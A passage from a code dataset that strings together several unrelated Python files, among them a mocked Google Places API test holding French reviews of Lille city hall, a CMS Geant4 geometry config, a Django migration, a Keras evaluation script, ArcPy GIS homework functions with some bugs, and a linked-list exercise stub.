'CmRaAAAASQc0AQAtJlsWbmKa2c_l22ytz-pNgf9SNADFNTasSvgo_e2J3c8I4SBrtwPP7ERI8aLi5ObMmpcwWRdTm_Yov8bcWci2Qypv07LgDRGulH2IoZcAf5aMj0hJ9H9ygpxMEhBZRXUemFfqkpFrKMPK22wwGhQewclVF0PMFtzzRrqMDyZjZ0QsNg',\n 'width': 3024},\n {'height': 3000,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/108929525802327828540\">César DESOYE</a>'],\n 'photo_reference': 'CmRaAAAAmNI9b8ImCCaQnO01kbYn85jK1x6ooj8s1CPxZNuOXI4xXv7nKYRX5cEInuN0dGpZDAxQUOYFdIUvRlHK1KtoAC1mI-70ntd0514-UjaG5g_6MrrSyaNwx_nI5AB7715xEhDLJLb3czmyiay9Wz9F94-8GhQTcZRZ-e-bmOEM5NOV9WAIZJUcew',\n 'width': 4000},\n {'height': 4032,\n 'html_attributions': [\n '<a href=\"https://maps.google.com/maps/contrib/100682700092805890513\">Chris Lovely</a>'],\n 'photo_reference': 'CmRaAAAAHtNo28F0v609sEBnd5oz7bFSRO2sTZF3KdfqGCkA_ycRVCuy0czPleXe0KmeF4JHFzQlIvqxF1GN2PVVlSNUIqIxH9zlrJmjr1vDCnLw2n8mu8JOLyvTzmoPl4Eg69nhEhCpeC7mKmKt7rOpDKAAL-mlGhTX-CRDBDiyzvdRMyudHRcjrtlkmg',\n 'width': 3024}],\n 'place_id': 'ChIJZR2qaYzVwkcRG74iJXu6kYc',\n 'plus_code': {'compound_code': 'J3MC+38 Lille, France',\n 'global_code': '9F25J3MC+38'}, 'rating': 3.1,\n 'reference': 'ChIJZR2qaYzVwkcRG74iJXu6kYc', 'reviews': [\n {'author_name': 'Chris Lovely',\n 'author_url': 'https://www.google.com/maps/contrib'\n '/100682700092805890513/reviews',\n 'language': 'fr',\n 'profile_photo_url': 'https://lh4.ggpht.com/-qWdRkAgeMq8'\n '/AAAAAAAAAAI/AAAAAAAAAAA/plhN5fiA4BY'\n '/s128-c0x00000000-cc-rp-mo-ba5/photo.jpg',\n 'rating': 3, 'relative_time_description': 'il y a 4\\xa0mois',\n 'text': 'De belles décorations près du marché de Noël '\n '🙂\\nMerci Madame le Maire restriction budgétaire '\n ', pour les bus le parcours est très long, '\n 'avant ça allait très bien !',\n 'time': 1576850404}, {'author_name': 'Manon Loez',\n 'author_url': 'https://www.google'\n '.com/maps/contrib'\n '/113566900549407958163/reviews',\n 'language': 'fr',\n 'profile_photo_url': 'https://lh5'\n '.ggpht.com'\n '/-vOs4ygVzi4o'\n '/AAAAAAAAAAI'\n '/AAAAAAAAAAA'\n '/jnsyfHDe57k'\n '/s128'\n '-c0x00000000'\n '-cc-rp-mo'\n '/photo.jpg',\n 'rating': 1,\n 'relative_time_description': 'il y a '\n '5\\xa0mois',\n 'text': \"Mauvais accueil \"\n \"téléphonique (du moins la \"\n \"conseillère que j'ai eu) je \"\n \"n'ai pas eu le temps de lui \"\n \"dire au revoir que la \"\n \"personne avait raccroché. \"\n \"C'est bien dommage pour une \"\n \"ville aussi accueillante.\",\n 'time': 1574411375},\n {'author_name': 'Anais L.',\n 'author_url': 'https://www.google.com/maps/contrib'\n '/104927688611368309556/reviews',\n 'language': 'fr',\n 'profile_photo_url': 'https://lh5.ggpht.com/-uJ_8z9AbnVA'\n '/AAAAAAAAAAI/AAAAAAAAAAA/zFm6w_om7Ro'\n '/s128-c0x00000000-cc-rp-mo/photo.jpg',\n 'rating': 1, 'relative_time_description': 'il y a 3\\xa0mois',\n 'text': \"Lille, ville ou des bâtiments poussent comme de \"\n \"la mauvaise herbes mais où les stationnements \"\n \"sont réduits voir néants !!! Ha si, tu dois te \"\n \"taper 1km à pied pour rentrer chez toi !!! Je \"\n \"paye ma taxe d'habitation et elle ne sert pas à \"\n \"grand chose, à part à faire pousser des bureaux \"\n \"vides ! De pire en pire, vivement le changement \"\n \"de maire !!!\",\n 'time': 1579003090}, {'author_name': 'Jason Oklm',\n 'author_url': 'https://www.google'\n '.com/maps/contrib'\n '/108094516442109521274/reviews',\n 'language': 'fr',\n 'profile_photo_url': 'https://lh5'\n '.ggpht.com/-SubctnrdFek/AAAAAAAAAAI/AAAAAAAAAAA/vHuwKhY5v2M/s128-c0x00000000-cc-rp-mo/photo.jpg',\n 'rating': 5,\n 'relative_time_description': 'il y a '\n 'un '\n 'mois',\n 'text': 'Propre', 'time': 1583842382},\n {'author_name': 'mathieu FAELENS IMMOBILIER LILLE',\n 'author_url': 'https://www.google.com/maps/contrib'\n '/105445074127986329038/reviews',\n 'language': 'fr',\n 'profile_photo_url': 'https://lh4.ggpht.com/-Gw8cOJiyYGg'\n '/AAAAAAAAAAI/AAAAAAAAAAA/bFuNtEwmd4I'\n '/s128-c0x00000000-cc-rp-mo-ba3/photo'\n '.jpg',\n 'rating': 5,\n 'relative_time_description': 'il y a 10\\xa0mois',\n 'text': 'C\\'est toujours un plaisir d\\'aller en Mairie de '\n 'Lille. C\\'est un très beau monument et le '\n 'personnel municipal est dans l\\'ensemble '\n 'accueillant et aimable. Je n\\'ai jamais eu la '\n 'chance de rencontrer Mme Le Maire, elle était '\n 'surement comme à son accoutumé sur le \"terrain\" ; '\n 'et c\\'est très bien.\\nC\\'est mon bureau de vote '\n 'et quand j\\'y accède avec mes enfants pour les '\n 'élections, souvent le dimanche, les vigiles à '\n 'l\\'entrée, font leur travail rigoureusement et '\n 'avec le sourire. Au bureau de vote, tenu en parti '\n 'par des employées municipaux et des bénévoles, '\n 'la mission est assurée selon la loi, \"enfin '\n 'j\\'imagine que la loi dit ça \".\\nPersonne n\\'est '\n 'parfait et si je devais améliorer un point ça '\n 'serait l\\'accueil et les réponses qui sont '\n 'données au téléphone. Cependant, hormis durant '\n 'leurs vacances ou maladie, ce que tout le monde '\n 'comprend, on peut avoir quelqu\\'un au bout du '\n 'fil. \\nVive Lille ! Ville ceux qui l\\'aiment et '\n 'ceux qui y habitent !!!!',\n 'time': 1560885298}], 'scope': 'GOOGLE',\n 'types': ['subway_station', 'transit_station',\n 'point_of_interest', 'establishment'],\n 'url': 'https://maps.google.com/?cid=9768794104810094107',\n 'user_ratings_total': 55, 'utc_offset': 120,\n 'vicinity': 'France'}, 'status': 'OK'}\n\n class MockGoogleApiResponse:\n def json(self):\n return expected_results\n\n def mock_requests_post(URL, params=details_payload):\n return MockGoogleApiResponse()\n\n monkeypatch.setattr('p7app.utils.google.requests.post', mock_requests_post)\n assert get_data_from_google_api(URL, details_payload) == expected_results\n","sub_path":"p7app/tests/tests_suite/ut-google/test_mock_results_api.py","file_name":"test_mock_results_api.py","file_ext":"py","file_size_in_byte":15273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"223064798","text":"import FWCore.ParameterSet.Config as cms\nfrom Configuration.ProcessModifiers.dd4hep_cff import dd4hep\n\nprocess = cms.Process(\"G4PrintGeometry\",dd4hep)\n\nprocess.DDDetectorESProducer = cms.ESSource(\"DDDetectorESProducer\",\n confGeomXMLFiles = cms.FileInPath('Geometry/ForwardCommonData/data/dd4hep/testForwardGeometry.xml'),\n appendToDataLabel = cms.string('')\n)\nprocess.DDSpecParRegistryESProducer = cms.ESProducer(\"DDSpecParRegistryESProducer\",\n appendToDataLabel = cms.string('')\n)\nprocess.DDVectorRegistryESProducer = cms.ESProducer(\"DDVectorRegistryESProducer\",\n appendToDataLabel = cms.string(''))\nprocess.DDCompactViewESProducer = cms.ESProducer(\"DDCompactViewESProducer\",\n appendToDataLabel = cms.string('')\n)\n\nprocess.load('FWCore.MessageService.MessageLogger_cfi')\n\nif 'MessageLogger' in process.__dict__:\n process.MessageLogger.SimG4CoreApplication=dict()\n process.MessageLogger.G4cout=dict()\n process.MessageLogger.ForwardGeom=dict()\n\nfrom SimG4Core.PrintGeomInfo.g4TestGeometry_cfi import *\nprocess = checkOverlap(process)\n\n# enable Geant4 overlap check \nprocess.g4SimHits.CheckGeometry = True\n\n# Geant4 geometry check \nprocess.g4SimHits.G4CheckOverlap.OutputBaseName = cms.string(\"forward\")\nprocess.g4SimHits.G4CheckOverlap.OverlapFlag = cms.bool(True)\nprocess.g4SimHits.G4CheckOverlap.Tolerance = cms.double(0.0)\nprocess.g4SimHits.G4CheckOverlap.Resolution = cms.int32(10000)\n# tells if NodeName is G4Region or G4PhysicalVolume\nprocess.g4SimHits.G4CheckOverlap.RegionFlag = cms.bool(False)\n# list of names\nprocess.g4SimHits.G4CheckOverlap.NodeNames = cms.vstring('cms:CMSE_1')\n# enable dump gdml file \nprocess.g4SimHits.G4CheckOverlap.gdmlFlag = cms.bool(False)\n# if defined a G4PhysicsVolume info is printed\nprocess.g4SimHits.G4CheckOverlap.PVname = ''\n# if defined a list of daughter volumes is printed\nprocess.g4SimHits.G4CheckOverlap.LVname = ''\n\n# extra output files, created if a name is not empty\nprocess.g4SimHits.FileNameField = ''\nprocess.g4SimHits.FileNameGDML = ''\nprocess.g4SimHits.FileNameRegions = ''\n#\nprocess.g4SimHits.OnlySDs = cms.vstring('ZdcSensitiveDetector', 'TotemT2ScintSensitiveDetector', 'TotemSensitiveDetector', 'BCM1FSensitiveDetector', 'BHMSensitiveDetector', 'PLTSensitiveDetector')\n","sub_path":"Geometry/ForwardCommonData/test/g4OverlapCheckForwardDD4hep_cfg.py","file_name":"g4OverlapCheckForwardDD4hep_cfg.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"27048669","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('payments', '0002_auto_20150406_2238'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='order',\n name='backend_name',\n field=models.CharField(null=True, choices=[('YandexPaymentBackend', 'Яндекс Деньги'), ('WebmoneyPaymentBackend', 'Webmoney'), ('PCBPaymentBackend', 'Петрокоммерц'), ('BankTransferPaymentBackend', 'Банковский перевод')], max_length=255),\n preserve_default=True,\n ),\n ]\n","sub_path":"apps/payments/migrations/0003_auto_20150408_2018.py","file_name":"0003_auto_20150408_2018.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497978207","text":"import time\nstart_time = time.time()\nimport os \nimport theano\nimport keras\nimport keras.backend as K\nfrom keras import regularizers\nfrom keras.models import Sequential, load_model\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.optimizers import SGD,RMSprop,adam\nfrom keras.utils import np_utils\nfrom keras.regularizers import l2\nfrom keras.callbacks import ModelCheckpoint, Callback\nimport pickle\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport h5py\nfrom PIL import Image\nfrom numpy import *\nfrom sklearn.utils import shuffle\nfrom sklearn.cross_validation import train_test_split\nfrom pylab import figure, axes, pie, title, show\nimport scipy.misc \nimport cv2\n\nMODEL_PATH = 'trained_models/20181009-1100/frozen_model.hdf5'\nimg_rows, img_cols = 99,99\nINP_IMG_PATH = '../data/fingertip_localization/cropped_images/'\nINP_LABELS_PATH = '../data/fingertip_localization/labels_test/'\n\n\ndef make_chan_first(path):\n\timg = cv2.imread(path)\n\ta = np.array(img[:,:,0])\n\tb = np.array(img[:,:,1])\n\tc = np.array(img[:,:,2])\n\ta = np.reshape(a, (1,img_rows,img_cols))\n\tb = np.reshape(b, (1,img_rows,img_cols))\n\tc = np.reshape(c, (1,img_rows,img_cols))\n\timg1 = np.append(a,b, axis=0)\n\tchan_fst_img = np.append(img1, c, axis =0)\n\treturn chan_fst_img\t\t\n\n\ndef make_chan_last(path):\n\timg = cv2.imread(path)\n\ta = np.array(img[:,:,0])\n\tb = np.array(img[:,:,1])\n\tc = np.array(img[:,:,2])\n\ta = np.reshape(a, (img_rows,img_cols,1))\n\tb = np.reshape(b, (img_rows,img_cols,1))\n\tc = np.reshape(c, (img_rows,img_cols,1))\n\timg1 = np.append(a,b, axis=2)\n\tchan_lst_img = np.append(img1, c, axis =2)\n\treturn chan_lst_img\t\t\n\n\nlabels = []\ncount = 0\nfor filename in os.listdir(INP_LABELS_PATH):\n\tif filename.endswith('.csv'):\n\t\tgen_annotations = pd.read_csv(INP_LABELS_PATH+filename, header = None, sep=',')\n\t\tif (count == 0):\n\t\t\tlabels = np.array(gen_annotations.ix[:,0:5])\n\t\telse:\t\n\t\t\tlabels = np.append(labels, gen_annotations.ix[:,0:5],axis=0)\n\t\tcount = count + 1\n\n\ncount = 0\nprint('time taken upto label shuffling: ', (time.time()-start_time))\n\n# labels2 = np.float16(labels[:,0:4])\t\t# if output (?,4)\nlabels2 = np.float16(labels[:,0:2])\t\t\t# if output (?,2)\n\nimgArr = []\nfor img in labels[:,4]:\n\timg = img.split('.png')[0]+'_crop.png'\n\tif (count == 0):\n\t\tim1 = make_chan_last(INP_IMG_PATH + img)\n\t\tim1 = np.float16(im1)\n\t\timgstack = im1.reshape(1,im1.shape[0],im1.shape[1],im1.shape[2])\n\t\timgArr.append(imgstack)\n\telse:\n\t\tim2 = make_chan_last(INP_IMG_PATH + img)\n\t\tim2 = np.float16(im2)\n\t\timgstack = im2.reshape(1,im1.shape[0],im1.shape[1],im1.shape[2])\n\t\timgArr.append(imgstack)\n\tcount = count + 1\nimgstack = np.vstack(imgArr)\nimgs = np.float16(imgstack)\nimgs = imgs/255\t\nprint('time taken upto imgs loading: ', (time.time()-start_time))\n\n\nmodel = load_model(MODEL_PATH)\nscores = model.predict(imgs, verbose = 1)\ndiff = scores - labels2\ndiffabs = np.abs(diff)\ntotal_error = np.mean(diffabs)\nprint (\"Mean Absolute Error: %.2f%% pixels\" % total_error)\nnp.savetxt('results.csv', scores, delimiter=',')\n\n\nrow_mean = diffabs.flatten()\ncount = np.zeros(100)\nfor k in range (0, 100):\n\tc = sum(v <= k for v in row_mean)\n\tcount[k] = (c*100)/(28155*4)\nprint('count: ', count)\n\nplt.title('Error/Pixel Curve')\nplt.xlabel('Error')\nplt.ylabel('Accuracy') \nplt.plot(range(0,100), count, marker='+')\nplt.savefig('error.png')\n","sub_path":"fingertip_localization/5test_saveCSV.py","file_name":"5test_saveCSV.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647566362","text":"###################################################################### \r\n# Edit the following function definition, replacing the words\r\n# 'name' with your name and 'hawkid' with your hawkid.\r\n# \r\n# Note: Your hawkid is the login name you use to access ICON, and not\r\n# your firsname-lastname@uiowa.edu email address.\r\n# \r\n# def hawkid():\r\n# return([\"Caglar Koylu\", \"ckoylu\"])\r\n###################################################################### \r\ndef hawkid():\r\n return([\"Eric Mykleby\", \"emykleby\"])\r\n\r\nimport arcpy\r\n\r\n###################################################################### \r\n# Problem 1 (30 Points)\r\n#\r\n# Given a polygon feature class in a geodatabase, a count attribute of the feature class(e.g., population, disease count):\r\n# this function calculates and appends a new density column to the input feature class in a geodatabase.\r\n\r\n# Given any polygon feature class in the geodatabase and a count variable:\r\n# - Calculate the area of each polygon in square miles and append to a new column\r\n# - Create a field (e.g., density_sqm) and calculate the density of the selected count variable\r\n# using the area of each polygon and its count variable(e.g., population) \r\n# \r\n# 1- Check whether the input variables are correct(e.g., the shape type, attribute name)\r\n# 2- Make sure overwrite is enabled if the field name already exists.\r\n# 3- Identify the input coordinate systems unit of measurement (e.g., meters, feet) for an accurate area calculation and conversion\r\n# 4- Give a warning message if the projection is a geographic projection(e.g., WGS84, NAD83).\r\n# Remember that area calculations are not accurate in geographic coordinate systems. \r\n# \r\n###################################################################### \r\ndef calculateDensity(fcpolygon, attribute, geodatabase = \"assignment2.gdb\"):\r\n\r\n arcpy.env.overwriteOutput = True\r\n \r\n if arcpy.Exists(geodatabase): # check for valid workspace\r\n arcpy.env.workspace = geodatabase # sets workspace\r\n\r\n else:\r\n print(\"Invalid Workspace\")\r\n sys.exit(1)\r\n\r\n try: # try section where input attributes are described and if statement that checks if inputs are in the valid format\r\n att_input = arcpy.Describe(attribute)\r\n fc_input = arcpy.Describe(fcpolygon)\r\n if fc_input.shapeType != \"Polygon\":\r\n print(\"Input is not shapeType Polygon\")\r\n\r\n # new attributes set for use with spatial reference parameters for each input variable for comparisons\r\n spatial_ref_poly = arcpy.Describe(fcpolygon).spatialReference\r\n spatial_ref_att = arcpy.Describe(attribute).spatialReference\r\n\r\n # if statement to determine if coordinate system of polygon feature class is in geographic or projected format\r\n if spatial_ref_poly.type == \"Geographic\":\r\n print(\"{} has a Geographic coordinate system. Calculations are not accurate\".format(fcpolygon))\r\n else:\r\n print(\"{} has a Projected coordinate system.\".format(fcpolyon))\r\n\r\n # if statement to compare the linear unit names of the input variables to see if they are equal\r\n if spatial_ref_poly.LinearUnitName == spatial_ref_att.LinearUnitName:\r\n print(\"Units of inputs are the same\")\r\n\r\n # if units are the same, further calcualtions will be executed\r\n # field is added to polygon feature class to hold the area calculation\r\n arcpy.AddField_management(fcpolygon, \"area_sqmi\", \"DOUBLE\")\r\n \r\n # calculate the area of each polygon in square miles \r\n area_calc_exp = \"{0}\".format(\"!SHAPE.area@SQUAREMILES!\")\r\n arcpy.CalculateField_management(fcpolygon,\"area_sqmi\", area_calc_exp, \"PYTHON3\")\r\n \r\n # field is added to polygon feature class to hold the density calculation\r\n arcpy.AddField_management(fcpolygon, \"density_sqm\", \"DOUBLE\")\r\n\r\n # calculate the density of the selected count variable using the area of each polygon and its count variable\r\n density = \"density_sqm\"\r\n arcpy.CalculateField_management(fcpolygon, \"density_sqm\", \"!attribute!/!area_sqmi!\", \"PYTHON3\")\r\n print(density = \"density_sqm\")\r\n\r\n # if linear unit names are not the same, system will exit\r\n else:\r\n print(\"Units of inputs are not the same\")\r\n sys.exit(1)\r\n\r\n except Exception:\r\n e = sys.exc_info() [1]\r\n print(e.args[0])\r\n\r\n###################################################################### \r\n# Problem 2 (40 Points)\r\n# \r\n# Given a line feature class (e.g.,river_network.shp) and a polygon feature class (e.g.,states.shp) in a geodatabase, \r\n# id or name field that could uniquely identify a feature in the polygon feature class\r\n# and the value of the id field to select a polygon (e.g., Iowa) for using as a clip feature:\r\n# this function clips the linear feature class by the selected polygon boundary,\r\n# and then calculates and returns the total length of the line features (e.g., rivers) in miles for the selected polygon.\r\n# \r\n# 1- Check whether the input variables are correct (e.g., the shape types and the name or id of the selected polygon)\r\n# 2- Transform the projection of one to other if the line and polygon shapefiles have different projections\r\n# 3- Identify the input coordinate systems unit of measurement (e.g., meters, feet) for an accurate distance calculation and conversion\r\n# \r\n###################################################################### \r\ndef estimateTotalLineLengthInPolygons(fcLine, fcClipPolygon, polygonIDFieldName, clipPolygonID, geodatabase = \"assignment2.gdb\"):\r\n \r\n arcpy.env.overwriteOutput = True\r\n\r\n if arcpy.Exists(geodatabase): # check for valid workspace\r\n arcpy.env.workspace = geodatabase # sets workspace\r\n\r\n else:\r\n print(\"Invalid Workspace\")\r\n sys.exit(1)\r\n\r\n try: # try section where input attributes are described and if statement that checks if inputs are in the valid format\r\n Line_input = arcpy.Describe(fcLine)\r\n Poly_input = arcpy.Describe(fcClipPolygon)\r\n if Line_input.shapeType != \"Polyline\": \r\n print(\"Input shape types are invalid\")\r\n sys.exit(1)\r\n elif Poly_input.shapeType != \"Polygon\":\r\n print(\"Input shape types are invalid\")\r\n sys.exit(1)\r\n\r\n # new attributes set for use with spatial reference parameters for each input variable for comparisons, also a new projection variable \r\n spatial_ref_line = arcpy.Describe(fcLine).spatialReference\r\n spatial_ref_poly = arcpy.Describe(fcClipPolygon).spatialReference\r\n fcPoly_proj = \"fcPoly_proj\"\r\n\r\n # update cursor utilized for input polygon ID field name variable to check if clp polygon ID variable is present in the clip polygon feature class\r\n with arcpy.da.UpdateCursor(fcClipPolygon, [polygonIDFieldName]) as upd_cursor:\r\n for upd_row in upd_cursor:\r\n if row[0] == clipPolygonID:\r\n upd_cur.updateRow(upd_row)\r\n\r\n # run initial if statement to determine if the linear unit name of the spatial references are the same\r\n if spatial_ref_line.linearUnitName == spatial_ref_poly.linearUnitName:\r\n print(\"Units of input feature classes are the same\")\r\n\r\n # if the units are the same, run another if statement to determine if the types of the spatial references are the same\r\n if spatial_ref_line.type == spatial_ref_poly.type:\r\n print(\"Coordinate systems are the same\")\r\n\r\n # if the spatial reference types are the same, then run clip analysis for the line feature class and polygon feature class to create a new clipped feature\r\n arcpy.Clip_analysis(fcLine, fcClipPolygon, \"fcClip\")\r\n\r\n # calculate the line length variable and summarize it by using dissolve management tool\r\n arcpy.Dissolve_management(\"fcClip\", \"line_length\", [\"ARCID\", \"Shape_Length\"], \"SUM\")\r\n\r\n # if the spatial reference types are the same, then we first must project the polygon feature class to the same spatial reference type as the line feature class\r\n else:\r\n arcpy.Project_management(fcLine, fcPoly_proj, spatial_ref_line)\r\n print(\"Coordinate systems have been converted to the same projection\")\r\n\r\n # Run clip analysis for the line feature and now polygon feature class to create a new clipped feature\r\n arcpy.Clip_analysis(fcLine, fcPoly_proj, \"fcClip_proj\")\r\n\r\n # calculate the line length variable and summarize it by using dissolve management tool\r\n arcpy.Dissolve_management(\"fcClip_proj\", \"line_length\", [\"ARCID\", \"Shape_Length\"], \"SUM\")\r\n\r\n else:\r\n print(\"Units of input feature classes are not the same\")\r\n sys.exit(1)\r\n\r\n except Exception:\r\n e = sys.exc_info() [1]\r\n print(e.args[0])\r\n\r\n\r\n######################################################################\r\n# Problem 3 (30 points)\r\n# \r\n# Given an input point feature class, (i.e., eu_cities.shp) and a distance threshold and unit:\r\n# Calculate the number of points within the distance threshold from each point (e.g., city),\r\n# and append the count to a new field (attribute).\r\n#\r\n# 1- Identify the input coordinate systems unit of measurement (e.g., meters, feet, degrees) for an accurate distance calculation and conversion\r\n# 2- If the coordinate system is geographic (latitude and longitude degrees) then calculate bearing (great circle) distance\r\n#\r\n######################################################################\r\ndef countObservationsWithinDistance(fcPoint, distance, distanceUnit, geodatabase = \"assignment2.gdb\"):\r\n\r\n arcpy.env.overwriteOutput = True\r\n\r\n if arcpy.Exists(geodatabase): # check for valid workspace\r\n arcpy.env.workspace = geodatabase # sets workspace\r\n\r\n else:\r\n print(\"Invalid Workspace\")\r\n sys.exit(1)\r\n\r\n try: # try section where input attribute is described and if statement that checks if inputs are in the valid format\r\n point_input = arcpy.Describe(fcPoint)\r\n if point_input.shapeType != \"Point\":\r\n print(\"Input shape type is invalid\")\r\n sys.exit(1)\r\n \r\n # new attributes set for use with spatial reference parameters for each input variable for comparisons, also a new projection variable \r\n spatial_ref_point = arcpy.Describe(fcPoint).spatialReference\r\n\r\n # run if statement to determine if the linear unit name of the spatial reference matches the given distance unit\r\n if spatial_ref_point.linearUnitName == distanceUnit:\r\n print(\"Units of input feature class and input unit are the same\")\r\n \r\n # Add field to polygon feature class for Point Count variable \r\n arcpy.AddField_management(fcPoint, \"Point_Count\", \"DOUBLE\")\r\n \r\n # Run generate near table to obtain the distances between points of the point feature class using the given distance\r\n arcpy.analysis.GenerateNearTable(fcPoint, fcPoint, \"Dist_table\", distance, \"LOCATION\", \"\", \"ALL\")\r\n \r\n # Create a new dictionary that will store values for use in cursors\r\n dict = {}\r\n # Set count to 0 so that it can be incremented in cursor\r\n count = 0\r\n # Run cursor to search through the distance table to fill dictionary and Point Count values\r\n with arcpy.da.SearchCursor(\"Dist_Table\",[\"OBJECTID\", \"Point_Count\"]) as search_cur:\r\n for search_row in search_cur:\r\n dict[search_row[0]] = search_row[1]\r\n count +=1 \r\n\r\n # Run cursor to update new Point Count field with values from distance table, search cursor, dictionary \r\n with arcpy.da.UpdateCursor(fcPoint,[\"OBJECTID\", \"Point_Count\"]) as upd_cur:\r\n for upd_row in upd_cur:\r\n if upd_row[0] in dict.keys():\r\n upd_row[1] = dict[upd_row[0]]\r\n else:\r\n upd_row[1] = [0]\r\n upd_cur.updateRow(upd_row)\r\n\r\n # If statement to determine if spatial reference type of point feature class is Geographic\r\n # If this is true, then the bearing distance to line tool will be run to calculate the bearing distance \r\n Bearing_Distance = \"Bearing_Dist\"\r\n if spatial_ref_point.type == \"Geographic\":\r\n arcpy.management.BearingDistanceToLine(\"Dist_Table\", \"Bearing_Dist\", \"FROM_X\", \"FROM_Y\", \"NEAR_DIST\", distanceUnit, \"NEAR_ANGLE\", \"\", \"GREAT_CIRCLE\")\r\n print(\"{} Bearing Distance is:.\".format(Bearing_Distance))\r\n else:\r\n print(\"Coodinate System is not Geographic\")\r\n\r\n except Exception:\r\n e = sys.exc_info() [1]\r\n print(e.args[0])\r\n \r\n\r\n######################################################################\r\n# MAKE NO CHANGES BEYOND THIS POINT.\r\n######################################################################\r\nif __name__ == '__main__' and hawkid()[1] == \"hawkid\":\r\n print('### Error: YOU MUST provide your hawkid in the hawkid() function.')\r\n print('### Otherwise, the Autograder will assign 0 points.')\r\n","sub_path":"Assignments/emykleby_assignment_5.py","file_name":"emykleby_assignment_5.py","file_ext":"py","file_size_in_byte":13352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296805947","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nclass SinglyLinkedListNode:\n def __init__(self, node_data):\n self.data = node_data\n self.next = None\n\nclass SinglyLinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def insert_node(self, node_data):\n node = SinglyLinkedListNode(node_data)\n\n if not self.head:\n self.head = node\n else:\n self.tail.next = node\n\n\n self.tail = node\n\ndef print_singly_linked_list(node, sep, fptr):\n while node:\n fptr.write(str(node.data))\n\n node = node.next\n\n if node:\n fptr.write(sep)\n\n# Complete the findMergeNode function below.\n\n#\n# For your reference:\n#\n# SinglyLinkedListNode:\n# int data\n# SinglyLinkedListNode next\n#\n#\ndef findMergeNode(head1, head2):\n # solution 1\n # data on linked list nodes might not be unique\n # each node is unique address in memory \n # the actual data on the merge point is what needs to be returned\n \n \n # solution 2\n # traverse one of the lists adding the node to visited \n # traverse through the second list and see if its in set \n # return the value of the first node in the second list that we find \n \n # Note:\n # we can use a set to hold unique things\n # linkled lists keep track of the order \n\n # solution 3\n # traverse one of the list , adding an attr on each node\n # mark that the node has been seen before\n # traverse other list until we find the node that has that attr\n\n # loop through the other list \n # if hasattr(node, 'visited')\n # then the node has visited return\n pass\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n tests = int(input())\n\n for tests_itr in range(tests):\n index = int(input())\n llist1_count = int(input())\n llist1 = SinglyLinkedList()\n for _ in range(llist1_count):\n llist1_item = int(input())\n llist1.insert_node(llist1_item)\n \n llist2_count = int(input())\n\n llist2 = SinglyLinkedList()\n\n for _ in range(llist2_count):\n llist2_item = int(input())\n llist2.insert_node(llist2_item)\n \n ptr1 = llist1.head;\n ptr2 = llist2.head;\n\n for i in range(llist1_count):\n if i < index:\n ptr1 = ptr1.next\n \n for i in range(llist2_count):\n if i != llist2_count-1:\n ptr2 = ptr2.next\n\n ptr2.next = ptr1\n\n result = findMergeNode(llist1.head, llist2.head)\n\n ftps.write(str(result) + '\\n')\n\n ftps.close()","sub_path":".history/hackerrank/linkedlists/findmergepoint_20200428104605.py","file_name":"findmergepoint_20200428104605.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338272835","text":"from types import MethodType\n\n\nclass Student(object):\n __slots__=('name','age')\n\n\ns = Student()\ns.name = 'Michael'\nprint(s.name)\n\n\n# def set_age(self, age):\n# self.age = age\n\n\n# s.set_age = MethodType(set_age, s)\n# s.set_age(25)\n\n\n\n# def get_age(self):\n# return self.age\n\n\n# Student.get_age = get_age\n\n# print(s.get_age())\n\nclass Gs(Student):\n __slots__=('s')\n\ng=Gs()\ng.name = 'asd'\nprint(g.name)\n\n","sub_path":"base/method_add.py","file_name":"method_add.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"145207737","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\n\n# force: (1,300,1)\n# state: (1,301,2):(batch,length,(x,v))\n# input: (1,300,3):(batch,length,(x,v,F))\nstep = 2\nforce1 = np.loadtxt('0.0_0.0_input_10%').reshape(300,1)\nstate1 = np.loadtxt('0.0_0.0_state_10%').reshape(301,2)\ninput1 = np.concatenate((state1[:301 -step, :], force1[:300 - step + 1, :]), axis=1)\nfor i in range (1,step):\n input_cur = np.concatenate((state1[i:301-step+i,:],force1[i:300-step+1 +i,:]),axis = 1)\n input1 = np.concatenate((input1,input_cur),axis= 1)\n# print(input1.shape)\n\nforce2 = np.loadtxt('0.0_-1.0_input_10%').reshape(300,1)\nstate2 = np.loadtxt('0.0_-1.0_state_10%').reshape(301,2)\ninput2 = np.concatenate((state2[:301 -step, :],force2[:300 - step + 1, :]),axis = 1)\nfor i in range (1,step):\n input_cur = np.concatenate((state2[i:301-step+i,:],force2[i:300-step+1 +i,:]),axis = 1)\n input2 = np.concatenate((input2,input_cur),axis= 1)\n\nforce3 = np.loadtxt('1.0_1.0_input_10%').reshape(300,1)\nstate3 = np.loadtxt('1.0_1.0_state_10%').reshape(301,2)\ninput3 = np.concatenate((state3[:301 -step, :],force3[:300 - step + 1, :]),axis = 1)\nfor i in range (1,step):\n input_cur = 